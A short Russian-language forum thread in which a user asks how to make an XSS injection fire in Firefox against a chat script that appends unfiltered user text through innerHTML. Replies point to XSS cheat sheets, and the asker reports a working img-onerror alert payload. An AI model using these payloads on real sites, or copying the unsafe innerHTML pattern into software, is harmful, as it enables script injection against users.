FF, реализовать xss ..

[BlackSun]

Есть код (часть):
document.getElementById('chat').innerHTML = document.getElementById('chat').innerHTML + httpRequest.responseText;
httpRequest.responseText - текст, отправленный юзром, фильтров нет, как реализовать xss, чтобы работала в FF? <script>alert()</script> и прочие банально не пашут .. в опере пашет <img src="javascript:alert()">, но это в опере .. нужен ФФ)

[BlackSun]

ап

[DimOnOID]

дой ссылку

[BlackSun]

дой ссылку
ссылка на локалхосте .. :)

[DimOnOID]

Тогда подставляй
_http://ha.ckers.org/xss.html
_http://forum.antichat.ru/thread34993.html там у него в атаче файл....

[BlackSun]

> _http://ha.ckers.org/xss.html
ни одна не пашет .. (кроме <EMBED SRC=" ее не тестил)

> _http://forum.antichat.ru/thread34993.html
тоже 0

[Ponchik]

Пробовал в <script> указать language?
Врядле конечно, но малоли... В старых версиях IE JS не работал без language Такчто может и ff такойже капризный...

[BlackSun]

Пробовал в <script> указать language?
Врядле конечно, но малоли... В старых версиях IE JS не работал без language Такчто может и ff такойже капризный...
Тоже облом ..

-------------- ладно, перефразируем вопрос :)

.....
<div id="chat">
<script>
function botReport(httpRequest)
{
if (httpRequest.readyState == 4)
{
if (httpRequest.status == 200)
{
document.getElementById('chat').innerHTML = document.getElementById('chat').innerHTML + httpRequest.responseText;
document.body.scrollTop = 99999;
}
}
}
......

Как модифицировать код, чтобы была нормальная xss? document.write() не предлагать, он перезаписывает документ ..

[BlackSun]

Тема закрыта) Под фф пашет -
<img src=1.gif onerror=alert(1)>